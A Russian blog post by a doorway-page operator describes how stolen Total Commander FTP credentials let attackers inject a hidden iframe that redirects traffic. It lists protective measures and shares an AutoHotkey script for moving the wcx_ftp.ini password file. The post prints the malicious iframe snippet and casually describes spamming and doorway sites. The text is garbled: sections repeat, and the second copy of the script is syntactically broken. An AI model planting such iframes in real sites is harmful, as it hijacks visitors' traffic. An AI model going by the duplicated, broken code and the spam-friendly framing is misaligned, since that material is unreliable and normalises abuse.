Достаточное количество веб-мастеров пострадало от ифреймов. Что такое ифрейм? Это обычная ссылка с html тэгом iframe, задачей которой является перенаправление трафика с вашего сайта на чужой. Я сам в свое время пострадал от ифрейма вида
<!-- ~ --><iframe src="http://orentraff.cn/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->
На тему этого ифрейма был топик на searchengines.ru и вроде даже обнаружили владельца сайта, указанного в ифрейме. Как вставляется ифрейм в чужие сайты? Обычно с помощью получения доступа по ftp, а доступ этот сводится к краже файлов с учетными записями ftp с вашего персонального компьютера. У меня ftp акки сперли, поскольку я решил разок поспамить с домашнего компьютера с выключенным антивирусом – прочитал где-то, что это якобы безопасно, спамилка вроде трояны не загрузит. Оказалось не так. Лишился почти всех своих дорвеев, за исключением некоторых, которые были сделаны Forum Generator'ом – там ифрейм при внедрении не уничтожал страницу и находился ниже моего редиректа. На некоторых фрихостах (например, на t35.com) не разрешено менять пароли доступа и сейчас я могу наблюдать то, что заливают на место моих бывших доров.
Как же защититься от кражи ftp акков? Способов довольно много. Вот известные мне:
После того как я потерял бóльшую часть своих дорвеев, я стал внимательнее относиться к безопасности компьютера. Сетевой экран и антивирус не выключаю и храню фал с паролями в другом месте, а когда надо копирую его в нужное место. То есть использую я пункты 1 и 9 из вышеприведенного списка. Пользуюсь я по-прежнему Total Commander'ом и встроенным в него ftp-менеджером, хотя именно оттуда у меня и украли пароли. Долгое время я вручную перебрасывал файл с ftp акками из одного каталога в другой и обратно, потом мне это надоело, и недавно я написал скрипт, который автоматизирует эту работу. Скрипт написан на языке autohotkey ( см. autohotkey.com ) и должен быть помещён в автозагрузку, чтобы он начинал работу при старте Windows.
Что вы должны сделать, чтобы использовать скрипт:
При желании можете скомпилировать скрипт прилагаемым к программе компилятором. Если вы программист, то можете добавить к скрипту какой-нибудь дополнительный функционал, например файл конфигурации, функцию переименования файла с ftp при перемещении его в сторонний каталог (в моем скрипте - D:\FT), функцию перемещения файла с ftp в случайный каталог.
Вот и сам код:
Как же защититься от кражи ftp акков? Способов довольно много. Вот известные мне:
- Не выключать антивирус и сетевой экран
- Спамить и производить другие «вирусоопасные» операции с отдельного компьютера
- То же что и п.1, но использовать не отдельный компьютер, а виртуальную машину
- То же что и п. 1, но использовать две разные операционные системы на одном компьютере
- Хранить файлы с конфиденциальной информацией на отдельном внешнем носителе (флэшка, CD, карта памяти и т.п.)
- Настроить на своих сайтах доступ по ftp только с определенного IP
- Всегда вбивать пароли и логины руками (не защищает от кейлоггеров), а не хранить их в файлах
- Использовать малораспространенные программы, под которые троянов обычно не пишут или не настраивают. Например, вместо Total Commander'a использовать Speed Commander или Frigate
- Хранить файл с паролями на своем компьютере, но не в том каталоге, в котором его использует программа, а в другом каталоге. В момент необходимости переносить файл с паролями в нужный для конкретной программы каталог, а по окончании работы переносить вручную обратно.
- Использовать программы, создающие мастер-пароль, т.е. пароль, с помощью которого шифруются файлы с конфиденциальной информацией, но который сам по себе на компьютере не хранится, а запоминается пользователем наизусть.
- Использовать самописные программы (в нашем случае – ftp-менеджеры), под которые трояны не настраиваются ввиду неизвестности этих программ.
- Использовать программы, которые используют файлы с паролями аналогично пунктам 2 – 4, т.е. на отдельной ЭВМ, отдельной операционной системе или на виртуальной машине.
- Не хранить пароли в браузерах или, по крайней мере, регулярно браузеры обновлять.
После того как я потерял бóльшую часть своих дорвеев, я стал внимательнее относиться к безопасности компьютера. Сетевой экран и антивирус не выключаю и храню фал с паролями в другом месте, а когда надо копирую его в нужное место. То есть использую я пункты 1 и 9 из вышеприведенного списка. Пользуюсь я по-прежнему Total Commander'ом и встроенным в него ftp-менеджером, хотя именно оттуда у меня и украли пароли. Долгое время я вручную перебрасывал файл с ftp акками из одного каталога в другой и обратно, потом мне это надоело, и недавно я написал скрипт, который автоматизирует эту работу. Скрипт написан на языке autohotkey ( см. autohotkey.com ) и должен быть помещён в автозагрузку, чтобы он начинал работу при старте Windows.
Что вы должны сделать, чтобы использовать скрипт:
- Скачать установщик языка autohotkey ( ) и установить autohotkey на свой компьютер.
- Скопировать код скрипта с моего блога в текстовый файл и сохранить этот файл с расширением .ahk. Название может быть любым.
- Прописать в скрипте путь к каталогу, к которому Total Commander обращается в поисках файла с ftp акками. У меня такой файл (wcx_ftp.ini) хранится в каталоге C:\Program Files\Total Commander\ .
- Прописать в скрипте путь к каталогу в котором вы будете хранить файл с ftp. В моем примере это каталог D:\FT
- Создать ярлык на на файл скрипта и поместить это ярлык в автозагрузку операционной системы.
При желании можете скомпилировать скрипт прилагаемым к программе компилятором. Если вы программист, то можете добавить к скрипту какой-нибудь дополнительный функционал, например файл конфигурации, функцию переименования файла с ftp при перемещении его в сторонний каталог (в моем скрипте - D:\FT), функцию перемещения файла с ftp в случайный каталог.
Вот и сам код:
;************************************************************
; AutoHotkey Version: 1.0.48.05
; Автор: harvik
; Имя скрипта: total.ahk
;************************************************************
; Назначение скрипта
; Хранение файла с ftp аккаунтами в месте, назначенном пользователем. Подгрузка этого файла в момент работы с ftp
; и возврат на место после завершения работы с ftp
;*************************************************************
;==========НАСТРОЙКИ ПОЛЬЗОВАТЕЛЯ ===========
;
Total_Path = C:\Program Files\Total Commander\ ; путь к каталогу, где Total Commander хранит файл с ftp
Total_Ftp = D:\FT\ ; путь к каталогу, где вы будете хранить файл c ftp аккаунтами
Ft = wcx_ftp.ini ; Название файла с ftp
;
; ========== КОНЕЦ НАСТРОЕК ПОЛЬЗОВАТЕЛЯ ========
; ========== Начало блока функций ===================
Sizes()
{
global
FileGetSize, size1, %Total_Path%%Ft%
FileGetSize, size2, %Total_Ftp%%Ft%
}
MoveTo() ; Перемещение файла с ftp аккаунтами в другой каталог
{
global Total_Path, Total_Ftp, Ft, size1, size2
Sizes()
IfExist, %Total_Path%%Ft%
{if size1 >= %size2% ;Сравнение размеров файлов с ftp в двух каталогах (папках)
FileMove, %Total_Path%%Ft%, %Total_Ftp%, 1
else FileDelete, %Total_Path%%Ft%
}
}
CopyFrom() ; Копирование файла с ftp аккаунтами в рабочий каталог Total Commander'а
{
global Total_Path, Total_Ftp, Ft, size1, size2
Sizes()
IfNotExist, %Total_Path%%Ft% OR size1 < %size2% ;Сравненние размеров файлов с ftp в двух каталогах (папках)
FileCopy, %Total_Ftp%%Ft%, %Total_Path%, 1
}
; ========== Конец блока функций ==============
#Persistent
Process, Priority,,L ; Установка низкого приоритета выполнения скрипта для снижения нагрузки на процессор.
IfNotExist, %Total_Ftp%
FileCreateDir, %Total_Ftp% ; Создание папки для хранения файла с ftp аккаунтами
TrayTip, Защита FTP акков, в Total Commander'е
Sleep, 5000
TrayTip
Begin:
MoveTo()
WinWait, ahk_class TTOTAL_CMD ;Ожидание загрузки Total Commander'а
IfWinExist, ahk_class TCONNECT
{
IfNotExist, %Total_Path%%Ft%
{
CopyFrom()
WinClose, ahk_class TCONNECT
WinWaitClose, ahk_class TCONNECT ; Пустое окошко "Соединение с FTP-сервером исчезает
IfWinExist, ahk_class TTOTAL_CMD
{
WinActivate, ahk_class TTOTAL_CMD ;
WinWaitActive, ahk_class TTOTAL_CMD
Send ^f ; Окошко "Соединение с FTP-сервером появляется уже со списком ваших FTP
Sleep, 5
}
}
}
else
WinWaitClose, ahk_class TCONNECT
Goto, Begin
; AutoHotkey Version: 1.0.48.05
; Автор: harvik
; Имя скрипта: total.ahk
;************************************************************
; Назначение скрипта
; Хранение файла с ftp аккаунтами в месте, назначенном пользователем. Подгрузка этого файла в момент работы с ftp
; и возврат на место после завершения работы с ftp
;*************************************************************
;==========НАСТРОЙКИ ПОЛЬЗОВАТЕЛЯ ===========
;
Total_Path = C:\Program Files\Total Commander\ ; путь к каталогу, где Total Commander хранит файл с ftp
Total_Ftp = D:\FT\ ; путь к каталогу, где вы будете хранить файл c ftp аккаунтами
Ft = wcx_ftp.ini ; Название файла с ftp
;
; ========== КОНЕЦ НАСТРОЕК ПОЛЬЗОВАТЕЛЯ ========
; ========== Начало блока функций ===================
Sizes()
{
global
FileGetSize, size1, %Total_Path%%Ft%
FileGetSize, size2, %Total_Ftp%%Ft%
}
MoveTo() ; Перемещение файла с ftp аккаунтами в другой каталог
{
global Total_Path, Total_Ftp, Ft, size1, size2
Sizes()
IfExist, %Total_Path%%Ft%
{if size1 >= %size2% ;Сравнение размеров файлов с ftp в двух каталогах (папках)
FileMove, %Total_Path%%Ft%, %Total_Ftp%, 1
else FileDelete, %Total_Path%%Ft%
}
}
CopyFrom() ; Копирование файла с ftp аккаунтами в рабочий каталог Total Commander'а
{
global Total_Path, Total_Ftp, Ft, size1, size2
Sizes()
IfNotExist, %Total_Path%%Ft% OR size1 < %size2% ;Сравненние размеров файлов с ftp в двух каталогах (папках)
FileCopy, %Total_Ftp%%Ft%, %Total_Path%, 1
}
; ========== Конец блока функций ==============
#Persistent
Process, Priority,,L ; Установка низкого приоритета выполнения скрипта для снижения нагрузки на процессор.
IfNotExist, %Total_Ftp%
FileCreateDir, %Total_Ftp% ; Создание папки для хранения файла с ftp аккаунтами
TrayTip, Защита FTP акков, в Total Commander'е
Sleep, 5000
TrayTip
Begin:
MoveTo()
WinWait, ahk_class TTOTAL_CMD ;Ожидание загрузки Total Commander'а
IfWinExist, ahk_class TCONNECT
{
IfNotExist, %Total_Path%%Ft%
{
CopyFrom()
WinClose, ahk_class TCONNECT
WinWaitClose, ahk_class TCONNECT ; Пустое окошко "Соединение с FTP-сервером исчезает
IfWinExist, ahk_class TTOTAL_CMD
{
WinActivate, ahk_class TTOTAL_CMD ;
WinWaitActive, ahk_class TTOTAL_CMD
Send ^f ; Окошко "Соединение с FTP-сервером появляется уже со списком ваших FTP
Sleep, 5
}
}
}
else
{
MoveTo()
Goto, Begin
}
MoveTo()
Goto, Begin
}
WinWaitClose, ahk_class TCONNECT
Goto, Begin
Этот комментарий был удален администратором блога.
ОтветитьУдалитьТолько что столкнулся с такой же проблемой - из Тотал Коммандера своровали все пароли. А всё потому что я на пару часиков вылез из под Linux'а в Windows :)
ОтветитьУдалитьВ нынешней версии Тотал Коммандера есть функция защиты паролей главным паролем, который наверняка зашифрован. Попробуем-с.